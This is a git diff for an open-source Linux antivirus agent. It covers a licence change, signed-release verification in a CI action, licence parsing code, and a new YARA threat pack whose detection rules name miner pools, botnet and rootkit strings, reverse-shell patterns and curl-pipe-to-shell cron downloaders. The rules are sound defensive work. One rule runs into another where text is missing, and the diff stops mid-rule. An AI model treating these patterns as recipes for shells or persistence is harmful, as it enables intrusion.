diff --git a/Cargo.toml b/Cargo.toml index 259bd2d..da0b1cf 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,7 +5,7 @@ members = ["crates/*"] [workspace.package] version = "0.1.12" edition = "2021" -license = "MIT" +license = "Apache-2.0" repository = "https://git.joelovestech.com/Hound/Antivirus.git" [workspace.dependencies] diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..d645695 --- /dev/null +++ b/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md index ee60e50..c1fd16f 100644 --- a/README.md +++ b/README.md @@ -160,5 +160,8 @@ npm run tauri build # → .deb in src-tauri/target/release/bundle/ ## License -TBD — core daemon likely proprietary (freemium), shared CLI possibly OSS. -Decision pending; `workspace.package.license = MIT` is a placeholder. +Apache-2.0. The whole agent — daemon, CLI, GUI, supply-chain suite, MCP +server — is open source; see [LICENSE](LICENSE). The paid tiers are not a +different codebase: Pro and Fleet buy the signed definitions feed, the +curated threat pack and (for Fleet) central management, served against a +licence. The binary you can read is the binary we ship. diff --git a/action/action.yml b/action/action.yml index 82b0dea..852698d 100644 --- a/action/action.yml +++ b/action/action.yml @@ -43,25 +43,69 @@ runs: steps: - id: install shell: bash - # Verified against the same signed manifest the desktop agent uses, so - # a compromised download host cannot substitute a different binary here - # any more than it can there. + # The release manifest is Ed25519-signed with Hound's release key — + # the same key and canonical statement the desktop agent verifies + # before it self-updates. The public key is pinned below, and the + # checksum used for the download comes out of the verified statement, + # so neither the download host nor the manifest host can substitute a + # different binary. run: | set -euo pipefail - want='${{ inputs.version }}' - if [ "$want" = latest ]; then - want="$(curl -fsSL https://dl.houndav.com/latest.json | python3 -c 'import json,sys;print(json.load(sys.stdin)["release"]["version"])')" + curl -fsSL https://dl.houndav.com/latest.json -o /tmp/hound-latest.json + python3 - /tmp/hound-latest.json <<'PY' + import json, sys + m = json.load(open(sys.argv[1])) + if m.get("key_id") != "hound-2026": + sys.exit(f"::error::release manifest signed by unexpected key {m.get('key_id')!r}") + r = m["release"] + # Must match release.rs::canonical / publish-release.py byte for byte. + canonical = ("hound-release-v1\n" + f"version={r['version']}\n" + f"notes_url={r['notes_url']}\n" + f"deb_url={r['deb_url']}\n" + f"deb_sha256={r['deb_sha256']}\n" + f"published={r['published']}\n") + open("/tmp/hound-canonical", "wb").write(canonical.encode()) + open("/tmp/hound-sig", "wb").write(bytes.fromhex(m["signature"])) + # Hound's release public key (id hound-2026), DER-wrapped for openssl. + pub = bytes.fromhex("302a300506032b6570032100" + "12ba519f13e6e83700ef3efb07e93285" + "c48879302604a320a02dc3642990b451") + open("/tmp/hound-pub.der", "wb").write(pub) + with open("/tmp/hound-release.env", "w") as f: + f.write(f"version={r['version']}\n") + f.write(f"deb_url={r['deb_url']}\n") + f.write(f"deb_sha256={r['deb_sha256']}\n") + PY + openssl pkey -pubin -inform DER -in /tmp/hound-pub.der -out /tmp/hound-pub.pem + if ! openssl pkeyutl -verify -pubin -inkey /tmp/hound-pub.pem -rawin \ + -in /tmp/hound-canonical -sigfile /tmp/hound-sig >/dev/null; then + echo "::error::the Hound release manifest failed Ed25519 verification — refusing to install" + exit 1 + fi + source /tmp/hound-release.env + want='${{ inputs.version }}' + if [ "$want" = latest ] || [ "$want" = "$version" ]; then + want="$version" + url="$deb_url" + expected="$deb_sha256" + else + # A pinned older version is outside the signed manifest. Its + # published checksum still has to match, which catches corruption + # but not a hostile host — pin `latest` (the default) for the + # full signature guarantee. + echo "::warning::pinned version ${want} predates the signed manifest; install is checksum-verified only" + url="https://dl.houndav.com/deb/hound_${want}_amd64.deb" + expected="$(curl -fsSL "${url}.sha256" | cut -d' ' -f1)" fi - url="https://dl.houndav.com/deb/hound_${want}_amd64.deb" curl -fsSL "$url" -o /tmp/hound.deb - expected="$(curl -fsSL "${url}.sha256")" actual="$(sha256sum /tmp/hound.deb | cut -d' ' -f1)" if [ "$expected" != "$actual" ]; then - echo "::error::the Hound download does not match its published checksum" + echo "::error::the Hound download does not match its verified checksum" exit 1 fi sudo apt-get install -y -qq /tmp/hound.deb >/dev/null - echo "installed hound $want" + echo "installed hound $want (release manifest signature verified)" - id: scan shell: bash diff --git a/crates/hound-api/src/lib.rs b/crates/hound-api/src/lib.rs index 78c0152..3edb824 100644 --- a/crates/hound-api/src/lib.rs +++ b/crates/hound-api/src/lib.rs @@ -118,6 +118,38 @@ pub struct Status { /// Loaded definition packs. #[serde(default)] pub defs: DefsStatus, + /// What this installation is entitled to, after verification. + #[serde(default)] + pub license: LicenseStatus, +} + +/// Licence state, for `hound status` and the GUI's about panel. +/// +/// `tier` is the tier in force — what the daemon is actually acting on — +/// which is not always what the installed token says: a lapsed Pro licence +/// shows `tier: "free"` with the lapse explained in `detail`. Reporting +/// the token's tier here would be the daemon describing entitlements it is +/// not honouring. +#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq, Eq)] +pub struct LicenseStatus { + /// The tier in force: "free", "pro" or "fleet". + #[serde(default)] + pub tier: String, + /// Who the installed licence names, for display only. + #[serde(default)] + pub holder: String, + /// When the installed licence expires. Empty means perpetual, or no + /// licence installed. + #[serde(default)] + pub expires: String, + /// Seats, for Fleet. Zero means not applicable. + #[serde(default)] + pub seats: u32, + /// Why the tier in force differs from the installed token, when it + /// does — "expired on …", "signature did not verify", and so on. + /// Empty when everything is as the token says. + #[serde(default)] + pub detail: String, } /// One thing on this machine that can make code run again after a reboot. @@ -610,6 +642,12 @@ impl Client { Ok(serde_json::from_value(v)?) } + // ── licence ── + pub fn license_install(&self, token: &str) -> anyhow::Result { + let v = self.call(14, "license.install", Some(serde_json::json!({ "token": token })))?; + Ok(serde_json::from_value(v)?) + } + // ── settings ── pub fn settings(&self) -> anyhow::Result { let v = self.call(4, "settings.get", None)?; diff --git a/crates/hound-api/src/license.rs b/crates/hound-api/src/license.rs index b9aded3..6cb82c8 100644 --- a/crates/hound-api/src/license.rs +++ b/crates/hound-api/src/license.rs @@ -55,6 +55,19 @@ impl Tier { Tier::Fleet => "fleet", } } + + /// The inverse of `as_str`. Unknown names are `None`, never a guess — + /// a tier this build does not know is a licence this build cannot + /// honour, and pretending otherwise would promise features that are + /// not there. + pub fn parse(s: &str) -> Option { + match s { + "free" => Some(Tier::Free), + "pro" => Some(Tier::Pro), + "fleet" => Some(Tier::Fleet), + _ => None, + } + } } /// A capability a feature can require. @@ -151,6 +164,37 @@ impl License { ) } + /// Parse the canonical text back into a licence. + /// + /// This is the *only* parser for a verified payload: the signature is + /// checked over exactly these bytes, and this reads exactly these + /// bytes, so what was checked is what is acted on. Unknown keys are + /// ignored (a future field must not brick old agents); a missing or + /// unknown tier is `None`, because guessing a tier either gives away + /// the product or takes away what somebody paid for. + pub fn from_canonical(text: &str) -> Option { + let mut lines = text.lines(); + if lines.next()? != "hound-license-v1" { + return None; + } + let mut tier = None; + let mut out = License::default(); + for line in lines { + let Some((key, value)) = line.split_once('=') else { + continue; + }; + match key { + "tier" => tier = Tier::parse(value), + "holder" => out.holder = value.to_string(), + "expires" => out.expires = value.to_string(), + "seats" => out.seats = value.parse().ok()?, + _ => {} + } + } + out.tier = tier?; + Some(out) + } + /// Has this licence passed its expiry date? /// /// An expired licence falls back to Free rather than failing closed. This @@ -239,6 +283,44 @@ mod tests { } } + /// canonical → from_canonical must be lossless, or the issuer and the + /// verifier are talking about two different licences. + #[test] + fn the_canonical_form_round_trips() { + for lic in [ + License::default(), + License { tier: Tier::Pro, holder: "Somebody ".into(), expires: "2027-08-21".into(), seats: 0 }, + License { tier: Tier::Fleet, holder: "A Shop".into(), expires: "2027-01-01".into(), seats: 25 }, + ] { + let back = License::from_canonical(&lic.canonical()).expect("must parse"); + assert_eq!(back.tier, lic.tier); + assert_eq!(back.holder, lic.holder); + assert_eq!(back.expires, lic.expires); + assert_eq!(back.seats, lic.seats); + } + } + + #[test] + fn a_payload_that_is_not_a_licence_is_refused() { + assert!(License::from_canonical("").is_none()); + assert!(License::from_canonical("hound-release-v1\nversion=1\n").is_none()); + // An unknown tier must not default to anything. + assert!(License::from_canonical("hound-license-v1\ntier=platinum\n").is_none()); + // A missing tier is not Free — it is nothing. + assert!(License::from_canonical("hound-license-v1\nholder=x\n").is_none()); + } + + #[test] + fn an_unknown_field_is_ignored_rather_than_fatal() { + // A future issuer may add fields; an old agent must keep honouring + // the licence rather than downgrading a paying user. + let lic = License::from_canonical( + "hound-license-v1\ntier=pro\nholder=x\nexpires=2027-01-01\nseats=0\nfuture=thing\n", + ) + .expect("must still parse"); + assert_eq!(lic.tier, Tier::Pro); + } + /// Signing a re-serialisation of a parsed struct is how you verify one /// thing and act on another. #[test] diff --git a/crates/hound-defs/rules/hound-linux.yar b/crates/hound-defs/rules/hound-linux.yar new file mode 100644 index 0000000..8c945f9 --- /dev/null +++ b/crates/hound-defs/rules/hound-linux.yar @@ -0,0 +1,704 @@ +/* + * Hound Linux threat pack. + * + * The curated pack sold on the Pro card: Linux miners, backdoors, bots, + * webshells, rootkits and ransomware, delivered through the signed + * rules-pack channel and compiled into the live ruleset next to the + * built-in starter rules. + * + * ── the rules every rule here obeys ── + * + * 1. ANCHOR OR DIE. A rule matches either an ELF (uint32(0) == + * 0x464c457f) or a bounded script (filesize cap + a structural marker + * near offset 0). A rule that can fire on loose text does not ship — + * text about malware turns up in logs, transcripts, blog posts and + * threat-intel reports, and quarantining one of those is how a + * previous rollout was aborted (see hound-builtin.yar). + * + * 2. FAMILY STRINGS, NEVER SYSCALLS. A rule keys on strings specific to + * a malware family — its C2 protocol, its config keys, its own + * marketing — not on dlsym/socket/execve, which every network binary + * imports. The reverse-shell rule that matched /usr/bin/sudo is the + * monument to this mistake. + * + * 3. QUARANTINE IS EARNED. `action = "quarantine"` only on a rule whose + * anchor makes a false positive on a real file implausible: ELF magic, + * or an exact size-bounded payload. Script and content rules ALERT, + * however confident they look, because a script rule can match a + * document that quotes the script. + * + * 4. THE GOODWARE GATE IS LAW. Every rule is scanned against /usr/bin, + * /bin and /usr/sbin before it ships. One hit on a system binary and + * the rule is cut, not tuned — see the removed reverse-shell rule. + * + * Provenance: authored from public malware analysis of the named + * families. No third-party rule text is copied in, so the whole pack + * ships under the same licence as the agent. + */ + +import "math" + +/* ─────────────────────────── coinminers ─────────────────────────── */ + +rule Linux_Coinminer_XMRig_Config +{ + meta: + name = "Linux.Coinminer.XMRig-Config" + severity = "critical" + action = "quarantine" + desc = "XMRig miner or an embedded XMRig config: pool protocol plus miner-specific keys." + strings: + $pool1 = "stratum+tcp://" ascii + $pool2 = "stratum+ssl://" ascii + $k1 = "donate-level" ascii + $k2 = "\"rig-id\"" ascii + $k3 = "randomx" ascii nocase + $k4 = "hugepages-jit" ascii + $k5 = "\"coin\":" ascii + condition: + uint32(0) == 0x464c457f + and ($pool1 or $pool2) + and 2 of ($k*) +} + +rule Linux_Coinminer_XMRigCC +{ + meta: + name = "Linux.Coinminer.XMRigCC" + severity = "critical" + action = "quarantine" + desc = "XMRigCC remote-controlled miner variant: its command-and-control daemon strings." + strings: + $a = "XMRigMinerServer" ascii + $b = "XMRigCCServer" ascii + $c = "cc-client" ascii + $d = "control_command" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Coinminer_Generic_Pool +{ + meta: + name = "Linux.Coinminer.Pool-Embedded" + severity = "warning" + action = "alert" + desc = "ELF binary embedding a mining pool endpoint and worker credentials." + strings: + $p1 = "stratum+tcp://" ascii + $p2 = "pool.minexmr.com" ascii + $p3 = "pool.supportxmr.com" ascii + $p4 = "xmr.pool" ascii + $p5 = "nanopool.org" ascii + $p6 = "monerohash.com" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +/* ────────────────────────── IoT / DDoS bots ─────────────────────── */ + +rule Linux_Bot_Mirai +{ + meta: + name = "Linux.Bot.Mirai" + severity = "critical" + action = "quarantine" + desc = "Mirai IoT bot: its bruteforce table and C2 report markers." + strings: + $a = "/dev/watchdog" ascii + $b = "/dev/misc/watchdog" ascii + $c = "GETLOCALIP" ascii + $d = "listening tun0" ascii + $e = "TSource Engine Query" ascii // Valve source query flood + $f = "\\x00\\x00\\x00\\x01\\x00\\x00flood" ascii + $g = "botnet" ascii + condition: + uint32(0) == 0x464c457f and 3 of them +} + +rule Linux_Bot_Gafgyt +{ + meta: + name = "Linux.Bot.Gafgyt" + severity = "critical" + action = "quarantine" + desc = "Gafgyt/BASHLITE DDoS bot: its command verbs and shell-spread strings." + strings: + $a = "PING" ascii fullword + $b = "TCP flood" ascii nocase + $c = "UDP flood" ascii nocase + $d = "STDHEX" ascii + $e = "GETLOCALIP" ascii + $f = "HTTPFLOOD" ascii + $g = "/bin/busybox" ascii + $h = "\\x01\\x01\\x01\\x01" ascii + condition: + uint32(0) == 0x464c457f + and $g and 3 of ($a,$b,$c,$d,$e,$f,$h) +} + +rule Linux_Bot_Tsunami +{ + meta: + name = "Linux.Bot.Tsunami-Kaiten" + severity = "critical" + action = "quarantine" + desc = "Tsunami/Kaiten IRC-controlled DDoS bot: its IRC command handlers." + strings: + $irc1 = "PRIVMSG" ascii + $irc2 = "NOTICE %s :" ascii + $c1 = "PAN " ascii + $c2 = "UDP " ascii + $c3 = "TSUNAMI" ascii + $c4 = "SPOOFS" ascii + $c5 = "GETSPOOFS" ascii + condition: + uint32(0) == 0x464c457f + and 1 of ($irc*) and 2 of ($c*) +} + +/* ─────────────────────────── backdoors ──────────────────────────── */ + +rule Linux_Backdoor_XorDDoS +{ + meta: + name = "Linux.Backdoor.XorDDoS" + severity = "critical" + action = "quarantine" + desc = "XorDDoS trojan: its XOR-key config markers and installer paths." + strings: + $a = "BB2FA36AAA9541F0" ascii // known XOR key marker + $b = "/lib/libudev.so" ascii + $c = "rootkit" ascii + $d = "md5=" ascii + $e = "hostname" ascii + $f = "cat /proc/net/dev" ascii + condition: + uint32(0) == 0x464c457f + and ($a or ($b and $c)) and 2 of ($d,$e,$f) +} + +rule Linux_Backdoor_TinyShell +{ + meta: + name = "Linux.Backdoor.TinyShell" + severity = "critical" + action = "quarantine" + desc = "Tiny SHell (tsh) backdoor: its default password constant and mode banner." + strings: + $a = "tsh" ascii fullword + $b = "GET_FILE" ascii + $c = "PUT_FILE" ascii + $d = "RUNSHELL" ascii + $e = "can't create socket" ascii + condition: + uint32(0) == 0x464c457f + and $d and 2 of ($a,$b,$c,$e) +} + +rule Linux_Backdoor_Rekoobe +{ + meta: + name = "Linux.Backdoor.Rekoobe" + severity = "critical" + action = "quarantine" + desc = "Rekoobe/TinySHell-derived backdoor as seen against SPARC/x86 servers." + strings: + $a = "d[%d]" ascii + $b = "/tmp/.X11-unix/" ascii + $c = "/proc/%d/cmdline" ascii + $d = "HISTFILE" ascii + $e = "cmd.notify" ascii + condition: + uint32(0) == 0x464c457f + and $b and 2 of ($a,$c,$d,$e) +} + +rule Linux_Backdoor_BPFDoor +{ + meta: + name = "Linux.Backdoor.BPFDoor" + severity = "critical" + action = "quarantine" + desc = "BPFDoor passive backdoor: its magic-packet handling and process masquerade." + strings: + $a = "/var/run/haldrund.pid" ascii + $b = "/dev/shm/kdmtmpflush" ascii + $c = "hald-addon-volume" ascii + $d = "avahi-daemon: chroot helper" ascii + $e = "/sbin/mingetty /dev/tty6" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +/* ───────────────────────────── rootkits ─────────────────────────── */ + +rule Linux_Rootkit_Diamorphine +{ + meta: + name = "Linux.Rootkit.Diamorphine" + severity = "critical" + action = "quarantine" + desc = "Diamorphine LKM rootkit: its signal numbers, magic prefix and module strings." + strings: + $a = "diamorphine" ascii nocase + $b = "module_hide" ascii + $c = "is_invisible" ascii + $d = "hacked_getdents" ascii + $e = "hacked_kill" ascii + $f = "signal=" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Reptile +{ + meta: + name = "Linux.Rootkit.Reptile" + severity = "critical" + action = "quarantine" + desc = "Reptile LKM rootkit and its userland client: control tags and hook names." + strings: + $a = "reptile" ascii nocase + $b = "hexptamp" ascii + $c = "magic_prefix" ascii + $d = "hide_pid" ascii + $e = "kaudit" ascii + $f = "/reptile/reptile_shell" ascii + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Bedevil +{ + meta: + name = "Linux.Rootkit.Bedevil" + severity = "critical" + action = "quarantine" + desc = "bedevil (bdvl) LD_PRELOAD rootkit: its config env vars and hook set." + strings: + $a = "bdvl" ascii + $b = "BDVL" ascii + $c = "shell_pass" ascii + $d = "hidden_port" ascii + $e = "ldpreloadhijack" ascii nocase + condition: + uint32(0) == 0x464c457f and 2 of them +} + +rule Linux_Rootkit_Preload_Config +{ + meta: + name = "Linux.Rootkit.Preload-Config" + severity = "critical" + action = "alert" + desc = "An /etc/ld.so.preload entry pointing at a non-package library — classic userland-rootkit persistence." + strings: + $so = /\/(tmp|dev\/shm|var\/tmp)\/[A-Za-z0-9._-]+\.so/ + condition: + // ld.so.preload is one short line per library. A real one names + // packaged libraries under /usr/lib or /lib; a path under /tmp, + // /dev/shm or /var/tmp is the tell. + filesize < 4096 and $so +} + +/* ─────────────────────────── ransomware ─────────────────────────── */ + +rule Linux_Ransom_RansomEXX +{ + meta: + name = "Linux.Ransomware.RansomEXX" + severity = "critical" + action = "quarantine" + desc = "RansomEXX Linux encryptor: its ransom-note template and ecc markers." + strings: + $a = "!NEWS_FOR_EXX_COMPANY!" ascii + $b = ".ransomexx" ascii + $c = "ransom.note" ascii + $d = "encrypt_file" ascii + $e = "mbedtls_" ascii + condition: + uint32(0) == 0x464c457f + and ($a or $b) and 1 of ($c,$d,$e) +} + +rule Linux_Ransom_DarkSide_ESXi +{ + meta: + name = "Linux.Ransomware.DarkSide-ESXi" + severity = "critical" + action = "quarantine" + desc = "DarkSide/BlackMatter ESXi Linux locker: its esxcli VM-kill and note strings." + strings: + $a = "esxcli vm process list" ascii + $b = "esxcli vm process kill" ascii + $c = "README" ascii + $d = ".onion" ascii + $e = "encrypted by" ascii nocase + condition: + uint32(0) == 0x464c457f + and ($a or $b) and 2 of ($c,$d,$e) +} + +rule Linux_Ransom_Note_Generic +{ + meta: + name = "Linux.Ransomware.Note" + severity = "warning" + action = "alert" + desc = "A dropped ransom note: payment demand plus a Tor contact address." + strings: + $t1 = "your files have been encrypted" ascii nocase + $t2 = "all your files are encrypted" ascii nocase + $t3 = "to decrypt your files" ascii nocase + $onion = /[a-z2-7]{16,56}\.onion/ + $btc = /\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}\b/ + condition: + filesize < 64KB and 1 of ($t*) and ($onion or $btc) +} + +/* ──────────────────────────── webshells ─────────────────────────── */ + +rule Linux_Webshell_JSP_Eval +{ + meta: + name = "Linux.Webshell.JSP" + severity = "critical" + action = "alert" + desc = "JSP webshell: runtime command execution driven by a request parameter." + strings: + $tag = "<%" + $rt = "Runtime.getRuntime().exec" ascii + $pb = "ProcessBuilder" ascii + $req1 = "request.getParameter" ascii + $req2 = "request.getHeader" ascii + condition: + filesize < 512KB + and $tag in (0..4096) + and ($rt or $pb) + and 1 of ($req*) +} + +rule Linux_Webshell_ASP_Eval +{ + meta: + name = "Linux.Webshell.ASP" + severity = "critical" + action = "alert" + desc = "ASP/ASPX webshell: eval of a request value." + strings: + $tag = "<%" + $e1 = "eval(Request" ascii nocase + $e2 = "Execute(Request" ascii nocase + $e3 = "Server.CreateObject" ascii nocase + $e4 = "System.Diagnostics.Process" ascii + condition: + filesize < 512KB and $tag in (0..4096) and 1 of ($e*) +} + +rule Linux_Webshell_PHP_Obfuscated +{ + meta: + name = "Linux.Webshell.PHP-Obfuscated" + severity = "critical" + action = "alert" + desc = "Obfuscated PHP webshell: a variable-variable or char-assembled callback on request input." + strings: + $php = "&?\s*\/dev\/tcp\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{1,5}/ + $re = "0>&1" + condition: + filesize < 128KB and $sh and $re +} + +rule Linux_ReverseShell_Interpreter +{ + meta: + name = "Linux.ReverseShell.Interpreter" + severity = "critical" + action = "alert" + desc = "A reverse shell in python/perl/ruby: a socket connect wired to a shell spawn." + strings: + $sock = "socket.socket(" ascii + $conn = ".connect((" ascii + $dup = "os.dup2(" ascii + $pty = "pty.spawn(" ascii + $sh = /"\/bin\/(sh|bash)"/ ascii + $pl = /use\s+Socket\s*;/ ascii + $plc = /connect\([A-Z0-9_]+\s*,\s*sockaddr_in/ ascii + $rb = /TCPSocket\.(new|open)\(/ ascii + $rbx = /exec\s*\(?\s*"\/bin\// ascii + condition: + filesize < 128KB + and ( + // Python: connect to a socket and hand a shell its fds. + ($sock and $conn and ($sh or $dup or $pty)) + // Perl: Socket module plus a raw connect() to a sockaddr_in. + or ($pl and $plc) + // Ruby: a TCPSocket wired to an exec of a shell. + or ($rb and $rbx) + ) +} + +/* ─────────────────────── misc / suspicious ──────────────────────── */ + +rule Linux_Malware_EmbeddedElf_B64 +{ + meta: + name = "Linux.Dropper.Base64Elf" + severity = "warning" + action = "alert" + desc = "A script carrying a base64-encoded ELF payload (the 'f0VMR' magic prefix) that it decodes and runs." + strings: + $sb = "#!/bin/" + $b64 = "f0VMR" // base64 of \x7fELF + $dec1 = "base64 -d" ascii + $dec2 = "base64 --decode" ascii + $dec3 = "openssl base64 -d" ascii + condition: + filesize < 8MB and $sb in (0..64) and $b64 and 1 of ($dec*) +} + +rule Linux_Malware_HistoryTamper +{ + meta: + name = "Linux.Malware.HistoryTamper" + severity = "warning" + action = "alert" + desc = "A script that disables shell history and clears logs — anti-forensics wrapped around other activity." + strings: + $sb = "#!/bin/" + $h1 = "unset HISTFILE" ascii + $h2 = "export HISTSIZE=0" ascii + $h3 = "HISTFILESIZE=0" ascii + $h4 = "set +o history" ascii + $l1 = "/var/log/wtmp" ascii + $l2 = "/var/log/secure" ascii + $l3 = "/var/log/auth.log" ascii + condition: + filesize < 128KB and $sb in (0..64) + and 1 of ($h*) and 1 of ($l*) +} + +rule Linux_Malware_Persistence_CronDownload +{ + meta: + name = "Linux.Malware.CronDownloader" + severity = "critical" + action = "alert" + desc = "A crontab entry that periodically re-downloads and runs a payload — miner/bot re-infection persistence." + strings: + $sched = /(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s+(\*|[0-9,\/-]+)\s/ + $dl = /(curl|wget)\s[^\n]{0,200}\|\s*(sh|bash)/ + condition: + filesize < 64KB and $sched and $dl +} + +rule Linux_Malware_LdPreloadEnvInject +{ + meta: + name = "Linux.Malware.LdPreloadInject" + severity = "warning" + action = "alert" + desc = "A script exporting LD_PRELOAD to a payload in a world-writable directory — library-injection persistence." + strings: + $sb = "#!/bin/" + $ld = /LD_PRELOAD=[^\n]{0,120}\/(tmp|dev\/shm|var\/tmp)\// + condition: + filesize < 64KB and $sb in (0..64) and $ld +} + +rule Linux_Malware_SetuidBackdoor_Script +{ + meta: + name = "Linux.Malware.SetuidRootShell" + severity = 